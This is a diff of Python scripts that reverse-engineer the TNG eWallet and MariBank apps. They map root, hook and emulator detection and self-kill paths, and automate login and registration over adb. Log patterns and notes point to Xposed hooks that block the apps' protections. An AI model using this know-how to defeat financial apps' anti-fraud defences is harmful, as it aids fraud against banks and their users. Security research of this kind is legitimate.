for so in sorted(DIR.glob("lib*.so")):
|
||||
data = so.read_bytes()
|
||||
pairs = 0
|
||||
for imm in KILL:
|
||||
i = 0
|
||||
while True:
|
||||
j = data.find(imm, i)
|
||||
if j < 0:
|
||||
break
|
||||
if SVC in data[j:j + 36]:
|
||||
pairs += 1
|
||||
if pairs <= 10:
|
||||
print(f"{so.name} KILL+SVC @0x{j:x} d={data[j:j+36].find(SVC)}")
|
||||
i = j + 4
|
||||
ep = 0
|
||||
for imm in EXIT:
|
||||
i = 0
|
||||
while True:
|
||||
j = data.find(imm, i)
|
||||
if j < 0:
|
||||
break
|
||||
if SVC in data[j:j + 36]:
|
||||
ep += 1
|
||||
if ep <= 8:
|
||||
print(f"{so.name} EXIT+SVC @0x{j:x}")
|
||||
i = j + 4
|
||||
print(
|
||||
f"{so.name}: size={len(data)} svc0={data.count(SVC)} "
|
||||
f"kill+svc={pairs} exit+svc={ep} "
|
||||
f"abort={data.count(b'abort')} kill={data.count(b'kill')}"
|
||||
)
|
||||
40
reverse/scripts/scan_tng_suicide_map.py
Normal file
40
reverse/scripts/scan_tng_suicide_map.py
Normal file
@@ -0,0 +1,40 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""TNG reverse notes helper — ForceExit / abort / Promon suicide map."""
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parents[1] / "apks" / "tng" / "base.apk"
|
||||
SO = Path(__file__).resolve().parents[1] / "apks" / "tng" / "libtngdigital_ewallet.so"
|
||||
|
||||
|
||||
def main():
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
print("=== suicide ladder (from runtime + static) ===")
|
||||
print("1) Promon root hit -> openSecurityUrl Rooting FAQ (Xposed blocks)")
|
||||
print("2) xwwqazamx.W -> KillApplicationHandler (Xposed blocks)")
|
||||
print("3) native exit_group(1) OR SIGABRT SI_USER via libc abort/raise/tgkill")
|
||||
print("4) AppSecurityManager.startForceExitCountdown* / addIntoQueueAndLaunch")
|
||||
print()
|
||||
|
||||
print("=== ForceExit-related descriptors ===")
|
||||
for m in sorted(set(re.findall(rb"L[A-Za-z0-9_/$]*ForceExit[A-Za-z0-9_/$]*;", data))):
|
||||
print(m.decode())
|
||||
|
||||
print("\n=== AppSecurityManager log strings (detection events) ===")
|
||||
for m in re.finditer(rb"AppSecurityManager: [A-Za-z][^\x00]{5,80}", data):
|
||||
s = m.group().decode("utf-8", "ignore")
|
||||
if any(k in s for k in ("Root", "Hook", "Emulator", "Force", "Unhandled", "Navigat")):
|
||||
print(s)
|
||||
|
||||
if SO.exists():
|
||||
raw = SO.read_bytes()
|
||||
print("\n=== SO imports of interest ===")
|
||||
for s in (b"abort", b"raise", b"tgkill", b"kill", b"exit"):
|
||||
print(s.decode(), "at", hex(raw.find(s)) if raw.find(s) >= 0 else None)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
66
reverse/scripts/scan_tng_tigertally.py
Normal file
66
reverse/scripts/scan_tng_tigertally.py
Normal file
@@ -0,0 +1,66 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Scan TNG DEX for Aliyun TigerTally / abort / SI_USER suicide helpers."""
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parents[1] / "apks" / "tng" / "base.apk"
|
||||
|
||||
KEYS = [
|
||||
b"TigerTally",
|
||||
b"aliyun",
|
||||
b"Aliyun",
|
||||
b"com/aliyun/TigerTally",
|
||||
b"UnhandledEvent detected",
|
||||
b"finishAllActivityAndKillApp",
|
||||
b"trackUnhandledEvent",
|
||||
b"SI_USER",
|
||||
b"raise",
|
||||
b"SIGABRT",
|
||||
b"pthread_kill",
|
||||
b"dispatchUncaughtException",
|
||||
b"AppProtect",
|
||||
b"promon",
|
||||
b"xwwqazamx",
|
||||
]
|
||||
|
||||
|
||||
def main():
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
entries = [(n, z.read(n)) for n in z.namelist() if n.endswith(".dex")]
|
||||
|
||||
print("=== key hits ===")
|
||||
for name, data in entries:
|
||||
for k in KEYS:
|
||||
c = data.count(k)
|
||||
if c:
|
||||
print(f"{name}: {k.decode('utf-8','ignore')} x{c}")
|
||||
|
||||
print("\n=== TigerTally class descriptors ===")
|
||||
all_data = b"".join(d for _, d in entries)
|
||||
classes = sorted(set(re.findall(rb"Lcom/aliyun/TigerTally/[A-Za-z0-9_/$]*;", all_data)))
|
||||
for c in classes[:80]:
|
||||
print(c.decode())
|
||||
print("total", len(classes))
|
||||
|
||||
print("\n=== nearby strings TigerTally ===")
|
||||
for m in re.finditer(rb"TigerTally[\x20-\x7e]{0,60}", all_data):
|
||||
print(m.group().decode("ascii", "ignore"))
|
||||
|
||||
print("\n=== finishAll / Unhandled contexts ===")
|
||||
for pat in [
|
||||
b"finishAllActivityAndKillApp",
|
||||
b"UnhandledEvent detected",
|
||||
b"trackUnhandledEvent",
|
||||
b"dispatchUncaughtException",
|
||||
]:
|
||||
idx = all_data.find(pat)
|
||||
if idx < 0:
|
||||
continue
|
||||
ctx = all_data[max(0, idx - 40) : idx + len(pat) + 80]
|
||||
printable = "".join(chr(b) if 32 <= b < 127 else "." for b in ctx)
|
||||
print(pat.decode(), "=>", printable)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
36
reverse/scripts/scan_tng_url.py
Normal file
36
reverse/scripts/scan_tng_url.py
Normal file
@@ -0,0 +1,36 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = "reverse/apks/tng/base.apk"
|
||||
KEYS = [
|
||||
b"36616543382169", b"support.tngdigital", b"Rooting", b"How to keep device safe",
|
||||
b"showJailBroken", b"openUrl", b"openBrowser", b"launchUrl", b"ACTION_VIEW",
|
||||
b"RootI18n", b"SecurityError", b"startChrome", b"IntentDispatcher",
|
||||
]
|
||||
|
||||
|
||||
def main():
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for k in KEYS:
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(k, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
s = max(0, idx - 80)
|
||||
e = min(len(data), idx + len(k) + 120)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b" ", data[s:e]).decode("ascii", "ignore")
|
||||
print(f"[{k.decode()}] {chunk.strip()}")
|
||||
idx += 1
|
||||
print("\n=== classes with Root/security ===")
|
||||
classes = set(re.findall(rb"Lmy/com/tngdigital/common/security[^;]+;", data))
|
||||
for c in sorted(classes):
|
||||
s = c.decode()[1:-1].replace("/", ".")
|
||||
if any(x in s.lower() for x in ["root", "error", "jail", "shield", "promon"]):
|
||||
print(s)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
24
reverse/scripts/scan_user_bundle.py
Normal file
24
reverse/scripts/scan_user_bundle.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
needles = [
|
||||
b"The system is currently unavailable",
|
||||
b"dfp is empty",
|
||||
b"getDfp",
|
||||
b"preCheck",
|
||||
b"register",
|
||||
b"Sign up with mobile",
|
||||
b"msg_ekyc_singpass_service_error",
|
||||
b"general_error",
|
||||
b"GlobalAuth",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
bundles = [n for n in zf.namelist() if n.endswith(".jsbundle")]
|
||||
print("bundles:", len(bundles))
|
||||
for name in bundles:
|
||||
data = zf.read(name)
|
||||
hits = [n.decode() for n in needles if n in data]
|
||||
if hits:
|
||||
print(name, hits)
|
||||
19
reverse/scripts/strings_shps_so.py
Normal file
19
reverse/scripts/strings_shps_so.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SO = Path(__file__).resolve().parent.parent / "extracted" / "native" / "libshpssdk_bank.so"
|
||||
data = SO.read_bytes()
|
||||
seen = set()
|
||||
for m in re.finditer(rb"[\x20-\x7e]{3,}", data):
|
||||
s = m.group().decode("latin1")
|
||||
if s in seen or len(s) > 200:
|
||||
continue
|
||||
low = s.lower()
|
||||
if any(k in low for k in [
|
||||
"proc", "root", "hook", "xposed", "magisk", "frida", "emulator",
|
||||
"risk", "token", "su", "debug", "maps", "version", "selinux",
|
||||
"shpssdk", "detect", "jail", "integrity"
|
||||
]):
|
||||
seen.add(s)
|
||||
print(s)
|
||||
89
reverse/scripts/tap_country_code.py
Normal file
89
reverse/scripts/tap_country_code.py
Normal file
@@ -0,0 +1,89 @@
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
ADB = ["adb"]
|
||||
|
||||
|
||||
def adb(*args):
|
||||
subprocess.run(ADB + list(args), check=False)
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "am", "force-stop", "my.com.tngdigital.ewallet")
|
||||
time.sleep(2)
|
||||
adb("shell", "am", "start", "-n", "my.com.tngdigital.ewallet/.ui.SplashActivity")
|
||||
time.sleep(16)
|
||||
adb("shell", "uiautomator", "dump", "/sdcard/ui_cc.xml")
|
||||
xml = subprocess.check_output(
|
||||
ADB + ["shell", "cat", "/sdcard/ui_cc.xml"], text=True, errors="ignore")
|
||||
root = ET.fromstring(xml)
|
||||
target = None
|
||||
register_btn = None
|
||||
for node in root.iter("node"):
|
||||
rid = node.get("resource-id") or ""
|
||||
text = node.get("text") or ""
|
||||
if "tv_left" in rid or (text.strip().startswith("+") and len(text.strip()) < 8):
|
||||
target = node
|
||||
if "注册" in text and node.get("clickable") == "true":
|
||||
register_btn = node
|
||||
if target is None and register_btn is not None:
|
||||
bounds = register_btn.get("bounds", "")
|
||||
m = re.match(r"\[(\d+),(\d+)\]\[(\d+),(\d+)\]", bounds)
|
||||
if m:
|
||||
x1, y1, x2, y2 = map(int, m.groups())
|
||||
x, y = (x1 + x2) // 2, (y1 + y2) // 2
|
||||
print(f"tap register at {x},{y}")
|
||||
adb("shell", "input", "tap", str(x), str(y))
|
||||
time.sleep(4)
|
||||
adb("shell", "uiautomator", "dump", "/sdcard/ui_cc.xml")
|
||||
xml = subprocess.check_output(
|
||||
ADB + ["shell", "cat", "/sdcard/ui_cc.xml"], text=True, errors="ignore")
|
||||
root = ET.fromstring(xml)
|
||||
for node in root.iter("node"):
|
||||
rid = node.get("resource-id") or ""
|
||||
text = node.get("text") or ""
|
||||
if "tv_left" in rid or (text.strip().startswith("+") and len(text.strip()) < 8):
|
||||
target = node
|
||||
break
|
||||
if target is None:
|
||||
for node in root.iter("node"):
|
||||
text = node.get("text") or ""
|
||||
if "注册" in text or "Register" in text.lower():
|
||||
print("login screen text:", text[:40])
|
||||
print("ERROR: country code control not found")
|
||||
return 1
|
||||
bounds = target.get("bounds", "")
|
||||
m = re.match(r"\[(\d+),(\d+)\]\[(\d+),(\d+)\]", bounds)
|
||||
if not m:
|
||||
print("bad bounds", bounds)
|
||||
return 1
|
||||
x1, y1, x2, y2 = map(int, m.groups())
|
||||
x, y = (x1 + x2) // 2, (y1 + y2) // 2
|
||||
print(f"tap country {target.get('text','')} at {x},{y}")
|
||||
adb("shell", "input", "tap", str(x), str(y))
|
||||
time.sleep(3)
|
||||
adb("shell", "uiautomator", "dump", "/sdcard/ui_cc2.xml")
|
||||
xml2 = subprocess.check_output(
|
||||
ADB + ["shell", "cat", "/sdcard/ui_cc2.xml"], text=True, errors="ignore")
|
||||
root2 = ET.fromstring(xml2)
|
||||
countries = []
|
||||
for node in root2.iter("node"):
|
||||
text = (node.get("text") or "").strip()
|
||||
if "+61" in text or "+86" in text or "Australia" in text or "Malaysia" in text:
|
||||
countries.append(text)
|
||||
pid = subprocess.check_output(
|
||||
ADB + ["shell", "pidof", "my.com.tngdigital.ewallet"], text=True).strip()
|
||||
print("pid:", pid or "DEAD")
|
||||
print("countries visible:", countries[:8])
|
||||
if countries:
|
||||
print("OK region picker visible")
|
||||
return 0
|
||||
print("FAIL region picker empty/black")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
466
reverse/scripts/test_tng_full_flow.py
Normal file
466
reverse/scripts/test_tng_full_flow.py
Normal file
@@ -0,0 +1,466 @@
|
||||
#!/usr/bin/env python3
|
||||
"""TNG 全流程自动化:注册区号 + 登录 PIN/区号;两次冷启动,互不干扰。"""
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
SPLASH = f"{PKG}/.ui.SplashActivity"
|
||||
ADB = ["adb"]
|
||||
|
||||
TNG_LOG = re.compile(
|
||||
r"TngRoot|F HWUI|GraphicBuffer|Runtime abort|signal 6|exited due to signal"
|
||||
r"|UserSearchCallingCode|UserLogin|UserRegistration|SecurityError"
|
||||
r"|Dialog\.show|skip loading|registration flow",
|
||||
re.I,
|
||||
)
|
||||
CRASH_LOG = re.compile(
|
||||
r"signal 6|Runtime aborting|F HWUI|F GraphicBuffer|gralloc-mapper is missing",
|
||||
re.I,
|
||||
)
|
||||
|
||||
|
||||
def adb(*args, timeout=60):
|
||||
r = subprocess.run(ADB + list(args), capture_output=True, text=True, timeout=timeout, errors="ignore")
|
||||
return r.returncode, (r.stdout or "") + (r.stderr or "")
|
||||
|
||||
|
||||
def is_tng_foreground():
|
||||
_, out = adb("shell", "dumpsys", "activity", "activities")
|
||||
for line in out.splitlines():
|
||||
if "topResumedActivity=" in line:
|
||||
return PKG in line
|
||||
return False
|
||||
|
||||
|
||||
def bring_tng_foreground():
|
||||
adb("shell", "input", "keyevent", "KEYCODE_WAKEUP")
|
||||
if is_tng_foreground():
|
||||
return
|
||||
adb("shell", "am", "start", "-n", SPLASH)
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
def dump_ui(path="/sdcard/tng_ui.xml", retries=2):
|
||||
adb("shell", "input", "keyevent", "KEYCODE_WAKEUP")
|
||||
for _ in range(retries):
|
||||
adb("shell", "uiautomator", "dump", path)
|
||||
code, xml = adb("shell", "cat", path)
|
||||
if code == 0 and xml.strip().startswith("<?xml"):
|
||||
try:
|
||||
return ET.fromstring(xml)
|
||||
except ET.ParseError:
|
||||
pass
|
||||
time.sleep(1)
|
||||
return None
|
||||
|
||||
|
||||
def center(bounds_str):
|
||||
m = re.match(r"\[(\d+),(\d+)\]\[(\d+),(\d+)\]", bounds_str or "")
|
||||
if not m:
|
||||
return None
|
||||
x1, y1, x2, y2 = map(int, m.groups())
|
||||
return (x1 + x2) // 2, (y1 + y2) // 2
|
||||
|
||||
|
||||
def find_pin_login_row(root):
|
||||
candidates = []
|
||||
for node in root.iter("node"):
|
||||
t = node.get("text") or ""
|
||||
if "忘记" in t:
|
||||
continue
|
||||
pt = center(node.get("bounds"))
|
||||
if pt is None:
|
||||
continue
|
||||
# 登录方式页 PIN 行 y≈600–780
|
||||
if 600 <= pt[1] <= 780 and (
|
||||
"PIN" in t.upper() or "6位数" in t or "6位" in t or (len(t) >= 4 and "PIN" in t)
|
||||
):
|
||||
candidates.append((pt[1], node))
|
||||
if not candidates:
|
||||
return None
|
||||
candidates.sort(key=lambda x: x[0])
|
||||
return candidates[0][1]
|
||||
|
||||
|
||||
def wait_phone_page(timeout=20):
|
||||
return wait_for(lambda: is_phone_page(dump_ui()), timeout=timeout, interval=1.5, desc="phone page")
|
||||
|
||||
|
||||
def find_nodes(root, **kwargs):
|
||||
out = []
|
||||
for node in root.iter("node"):
|
||||
text = (node.get("text") or "").strip()
|
||||
rid = node.get("resource-id") or ""
|
||||
cls = node.get("class") or ""
|
||||
clickable = node.get("clickable") == "true"
|
||||
ok = True
|
||||
if "text_contains" in kwargs and kwargs["text_contains"] not in text:
|
||||
ok = False
|
||||
if "text_excludes" in kwargs:
|
||||
for ex in kwargs["text_excludes"]:
|
||||
if ex in text:
|
||||
ok = False
|
||||
if "rid_contains" in kwargs and kwargs["rid_contains"] not in rid:
|
||||
ok = False
|
||||
if "class_contains" in kwargs and kwargs["class_contains"] not in cls:
|
||||
ok = False
|
||||
if kwargs.get("clickable") and not clickable:
|
||||
ok = False
|
||||
if ok:
|
||||
out.append(node)
|
||||
return out
|
||||
|
||||
|
||||
def tap_node(node, label=""):
|
||||
pt = center(node.get("bounds"))
|
||||
if not pt:
|
||||
print(f" skip tap {label}: bad bounds")
|
||||
return False
|
||||
x, y = pt
|
||||
print(f" tap {label!r} at {x},{y}")
|
||||
adb("shell", "input", "tap", str(x), str(y))
|
||||
return True
|
||||
|
||||
|
||||
def find_country_control(root, min_y=0, max_y=9999):
|
||||
nodes = find_nodes(root, rid_contains="ll_country", clickable=True)
|
||||
for node in nodes:
|
||||
pt = center(node.get("bounds"))
|
||||
if pt and min_y <= pt[1] <= max_y:
|
||||
return node
|
||||
nodes = find_nodes(root, rid_contains="tv_left", clickable=True)
|
||||
for node in nodes:
|
||||
pt = center(node.get("bounds"))
|
||||
if pt and min_y <= pt[1] <= max_y:
|
||||
return node
|
||||
return None
|
||||
|
||||
|
||||
def find_register_btn(root):
|
||||
for node in root.iter("node"):
|
||||
if node.get("clickable") != "true":
|
||||
continue
|
||||
t = node.get("text") or ""
|
||||
if ("注册" in t or "Register" in t.lower()) and "已经" not in t and "已注" not in t:
|
||||
return node
|
||||
pt = center(node.get("bounds"))
|
||||
if pt and 1050 < pt[1] < 1220 and 430 < pt[0] < 660:
|
||||
return node
|
||||
return None
|
||||
|
||||
|
||||
def is_phone_page(root):
|
||||
return bool(find_nodes(root, rid_contains="userContinueBtn"))
|
||||
|
||||
|
||||
def is_register_page(root):
|
||||
return bool(
|
||||
find_nodes(root, rid_contains="ftv_register_title")
|
||||
or find_nodes(root, rid_contains="userRegisterContinueBtn")
|
||||
)
|
||||
|
||||
|
||||
def has_country_list(root):
|
||||
if root is None:
|
||||
return False
|
||||
for node in root.iter("node"):
|
||||
t = node.get("text") or ""
|
||||
if any(k in t for k in ("Malaysia", "Singapore", "Australia", "China", "+86", "+61")):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def pid():
|
||||
code, out = adb("shell", "pidof", PKG)
|
||||
return out.strip() if code == 0 and out.strip() else ""
|
||||
|
||||
|
||||
def top_activity():
|
||||
_, out = adb("shell", "dumpsys", "activity", "activities")
|
||||
for line in out.splitlines():
|
||||
if PKG not in line:
|
||||
continue
|
||||
if "topResumedActivity=" in line:
|
||||
m = re.search(r"/([^/}\s]+)", line)
|
||||
return m.group(1) if m else "?"
|
||||
for line in out.splitlines():
|
||||
if "ResumedActivity:" in line and PKG in line:
|
||||
m = re.search(r"/([^/}\s]+)", line)
|
||||
if m:
|
||||
return m.group(1)
|
||||
return "?"
|
||||
|
||||
|
||||
def wait_for(fn, timeout=35, interval=1.5, desc=""):
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
if fn():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
print(f" timeout: {desc}")
|
||||
return False
|
||||
|
||||
|
||||
def wait_ui_widgets(timeout=30):
|
||||
"""等待 Compose 控件出现在 dump(Splash WebView 退场后)。"""
|
||||
def ready():
|
||||
root = dump_ui()
|
||||
if root is None:
|
||||
return False
|
||||
return bool(
|
||||
find_pin_login_row(root)
|
||||
or find_register_btn(root)
|
||||
or is_phone_page(root)
|
||||
or find_nodes(root, rid_contains="ftv_content")
|
||||
or find_nodes(root, rid_contains="ftv_register_title")
|
||||
)
|
||||
|
||||
return wait_for(ready, timeout=timeout, interval=2, desc="login/register widgets")
|
||||
|
||||
|
||||
def wait_login_method(timeout=40):
|
||||
def ready():
|
||||
if not pid():
|
||||
return False
|
||||
if not is_tng_foreground():
|
||||
bring_tng_foreground()
|
||||
return "UserLoginActivity" in top_activity()
|
||||
|
||||
ok = wait_for(ready, timeout=timeout, interval=2, desc="UserLoginActivity ready")
|
||||
if ok:
|
||||
wait_ui_widgets(timeout=25)
|
||||
return ok
|
||||
|
||||
|
||||
def wait_login_method_register(timeout=40):
|
||||
return wait_login_method(timeout=timeout)
|
||||
|
||||
|
||||
def wait_country_list(timeout=30):
|
||||
def activity_has_country_list():
|
||||
act = top_activity()
|
||||
if "UserSearchCallingCode" in act:
|
||||
return True
|
||||
_, out = adb("shell", "dumpsys", "activity", "activities")
|
||||
return "UserSearchCallingCodeActivity" in out and PKG in out
|
||||
|
||||
def ready():
|
||||
if activity_has_country_list():
|
||||
return True
|
||||
root = dump_ui()
|
||||
return has_country_list(root)
|
||||
|
||||
return wait_for(ready, timeout=timeout, interval=1.5, desc="country list")
|
||||
|
||||
|
||||
def cold_start(clear_log=False):
|
||||
if clear_log:
|
||||
adb("logcat", "-c")
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(3)
|
||||
adb("shell", "input", "keyevent", "KEYCODE_WAKEUP")
|
||||
adb("shell", "am", "start", "-W", "-n", SPLASH)
|
||||
ok = wait_for(
|
||||
lambda: bool(pid()) and "UserLoginActivity" in top_activity(),
|
||||
timeout=60,
|
||||
interval=2,
|
||||
desc="UserLoginActivity after cold start",
|
||||
)
|
||||
if not ok:
|
||||
return False
|
||||
bring_tng_foreground()
|
||||
time.sleep(3)
|
||||
return True
|
||||
|
||||
|
||||
def cold_start_with_retry(clear_log=False, attempts=3):
|
||||
for i in range(attempts):
|
||||
if cold_start(clear_log and i == 0):
|
||||
return True
|
||||
print(f" cold start retry {i + 1}/{attempts}")
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(5)
|
||||
return bool(pid()) and "UserLoginActivity" in top_activity()
|
||||
|
||||
|
||||
def tap_pin_row(root):
|
||||
if root is None:
|
||||
print(" PIN fallback (no dump) 561,677")
|
||||
adb("shell", "input", "tap", "561", "677")
|
||||
return
|
||||
pin_text = find_pin_login_row(root)
|
||||
if pin_text is None:
|
||||
if find_nodes(root, rid_contains="ftv_content") or find_nodes(root, rid_contains="ftv_title"):
|
||||
print(" PIN layout fallback 561,677")
|
||||
adb("shell", "input", "tap", "561", "677")
|
||||
return
|
||||
print(" PIN fallback tap 540,677")
|
||||
adb("shell", "input", "tap", "540", "677")
|
||||
return
|
||||
pt = center(pin_text.get("bounds"))
|
||||
print(f" tap PIN at {pt[0]},{pt[1]}")
|
||||
adb("shell", "input", "tap", str(pt[0]), str(pt[1]))
|
||||
|
||||
|
||||
def collect_logs(n=3000):
|
||||
_, out = adb("shell", "logcat", "-d", "-t", str(n))
|
||||
return [ln for ln in out.splitlines() if TNG_LOG.search(ln)]
|
||||
|
||||
|
||||
def collect_crashes(n=4000):
|
||||
_, out = adb("shell", "logcat", "-d", "-t", str(n))
|
||||
return [ln for ln in out.splitlines() if CRASH_LOG.search(ln) and "digital.ewallet" in ln]
|
||||
|
||||
|
||||
def step(name, fn):
|
||||
print(f"\n=== {name} ===")
|
||||
bring_tng_foreground()
|
||||
ok = fn()
|
||||
print(f" pid={pid() or 'DEAD'} activity={top_activity()}")
|
||||
return ok and bool(pid())
|
||||
|
||||
|
||||
def wait_register_page(timeout=20):
|
||||
def ready():
|
||||
root = dump_ui()
|
||||
if root is None or not is_register_page(root):
|
||||
return False
|
||||
ctrl = find_country_control(root, min_y=680)
|
||||
if ctrl is None:
|
||||
return False
|
||||
pt = center(ctrl.get("bounds"))
|
||||
# 注册页 ll_country 中心 y 通常 > 680
|
||||
return pt is not None and pt[1] >= 680
|
||||
|
||||
ok = wait_for(ready, timeout=timeout, interval=1.5, desc="register page settled")
|
||||
if ok:
|
||||
time.sleep(1)
|
||||
return ok
|
||||
|
||||
|
||||
def flow_register():
|
||||
time.sleep(5)
|
||||
if not cold_start_with_retry():
|
||||
return False
|
||||
if not wait_login_method_register():
|
||||
print(" register entry not visible")
|
||||
return False
|
||||
root = dump_ui()
|
||||
reg = find_register_btn(root)
|
||||
if reg is None:
|
||||
print(" register fallback 540,1137")
|
||||
adb("shell", "input", "tap", "540", "1137")
|
||||
else:
|
||||
tap_node(reg, "register")
|
||||
if not wait_register_page():
|
||||
return False
|
||||
root2 = dump_ui()
|
||||
target = find_country_control(root2, min_y=680)
|
||||
if target is None:
|
||||
print(" no country control on register page")
|
||||
return False
|
||||
tap_node(target, "register country")
|
||||
if not wait_country_list(timeout=25):
|
||||
return False
|
||||
root3 = dump_ui()
|
||||
if root3 is not None:
|
||||
for node in root3.iter("node"):
|
||||
t = node.get("text") or ""
|
||||
if "Malaysia" in t or "Singapore" in t:
|
||||
print(f" country UI: {t[:40]}")
|
||||
break
|
||||
logs = collect_logs(300)
|
||||
for ln in logs:
|
||||
if "skip loading" in ln or "UserSearchCallingCode" in ln:
|
||||
print(f" log: {ln[:120]}")
|
||||
break
|
||||
return True
|
||||
|
||||
|
||||
def flow_login():
|
||||
if not cold_start_with_retry(clear_log=True):
|
||||
return False
|
||||
if not wait_login_method():
|
||||
return False
|
||||
root = dump_ui()
|
||||
if is_phone_page(root):
|
||||
print(" already on phone page")
|
||||
else:
|
||||
for attempt in range(2):
|
||||
root = dump_ui()
|
||||
if root is None:
|
||||
time.sleep(2)
|
||||
continue
|
||||
if is_phone_page(root):
|
||||
print(" phone page ready")
|
||||
break
|
||||
tap_pin_row(root)
|
||||
if wait_phone_page(timeout=15):
|
||||
break
|
||||
print(f" phone page retry {attempt + 1}/2")
|
||||
time.sleep(2)
|
||||
else:
|
||||
return False
|
||||
root2 = dump_ui()
|
||||
target = find_country_control(root2, min_y=450, max_y=650)
|
||||
if target is None:
|
||||
print(" no country control on phone page")
|
||||
return False
|
||||
tap_node(target, "login country")
|
||||
if not wait_country_list():
|
||||
return False
|
||||
root3 = dump_ui()
|
||||
if root3 is not None:
|
||||
for node in root3.iter("node"):
|
||||
t = node.get("text") or ""
|
||||
if "Malaysia" in t or "Singapore" in t:
|
||||
print(f" country UI: {t[:40]}")
|
||||
break
|
||||
logs = collect_logs(300)
|
||||
for ln in logs:
|
||||
if "skip loading" in ln:
|
||||
print(f" log: {ln[:120]}")
|
||||
break
|
||||
return "UserSearchCallingCode" in top_activity() or has_country_list(root3)
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "svc", "power", "stayon", "true")
|
||||
adb("logcat", "-c")
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(5)
|
||||
|
||||
# 先登录后注册:首次冷启动最稳定
|
||||
results = [
|
||||
("login_country", step("A. login PIN → country list", flow_login)),
|
||||
("register_country", step("B. register → country list", flow_register)),
|
||||
]
|
||||
|
||||
crashes = collect_crashes()
|
||||
p = pid()
|
||||
|
||||
print("\n=== SUMMARY ===")
|
||||
for name, ok in results:
|
||||
print(f" {'PASS' if ok else 'FAIL'} {name}")
|
||||
print(f" pid={p or 'DEAD'} activity={top_activity()}")
|
||||
print(f" crashes={len(crashes)}")
|
||||
if crashes:
|
||||
for ln in crashes[-5:]:
|
||||
print(" ", ln[:150])
|
||||
|
||||
print("\n=== TngRoot (last 20) ===")
|
||||
for ln in collect_logs(2000)[-20:]:
|
||||
if "TngRoot" in ln:
|
||||
print(ln[:180])
|
||||
|
||||
ok = bool(p) and all(r[1] for r in results)
|
||||
if crashes and not ok:
|
||||
print(" (crash lines may include prior process; see pid)")
|
||||
return 0 if ok else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
110
reverse/scripts/test_tng_register_flow.py
Normal file
110
reverse/scripts/test_tng_register_flow.py
Normal file
@@ -0,0 +1,110 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Automate TNG login/register tap test and report crashes."""
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
TAGS = re.compile(
|
||||
r"FATAL EXCEPTION|AndroidRuntime.*Process: " + PKG
|
||||
+ r"|has died|exited due to signal|vhvlnqgy\.bd|blocked killProcess|blocked System\.exit"
|
||||
+ r"|UserRegistration|UserOtp|UserLogin|Displayed.*tngdigital|ACT on(Create|Resume)"
|
||||
+ r"|TngExitGuard.*ABRT|TngRoot hooked 6 vhvlnqgy\.R",
|
||||
re.I,
|
||||
)
|
||||
|
||||
TAPS = [
|
||||
("register_continue", 540, 959, 8),
|
||||
("maybe_otp_continue", 540, 959, 6),
|
||||
("back_to_login", None, None, 2),
|
||||
("login_tab", 540, 1168, 5),
|
||||
]
|
||||
|
||||
|
||||
def adb(*args, timeout=30):
|
||||
cmd = ["adb"] + list(args)
|
||||
r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
out = (r.stdout or "") + (r.stderr or "")
|
||||
return r.returncode, out.strip()
|
||||
|
||||
|
||||
def pid_alive():
|
||||
code, out = adb("shell", "pidof", PKG)
|
||||
return code == 0 and out.strip().split()
|
||||
|
||||
|
||||
def top_activity():
|
||||
code, out = adb("shell", "dumpsys", "activity", "activities")
|
||||
if code != 0:
|
||||
return "?"
|
||||
for line in out.splitlines():
|
||||
if "topResumedActivity=" in line:
|
||||
m = re.search(r"/([^/]+)$", line.strip())
|
||||
if m:
|
||||
return m.group(1).rstrip("}")
|
||||
return line.strip()
|
||||
return "?"
|
||||
|
||||
|
||||
def logcat_since(start):
|
||||
code, out = adb("shell", "logcat", "-d", "-t", start)
|
||||
hits = []
|
||||
if code == 0:
|
||||
for line in out.splitlines():
|
||||
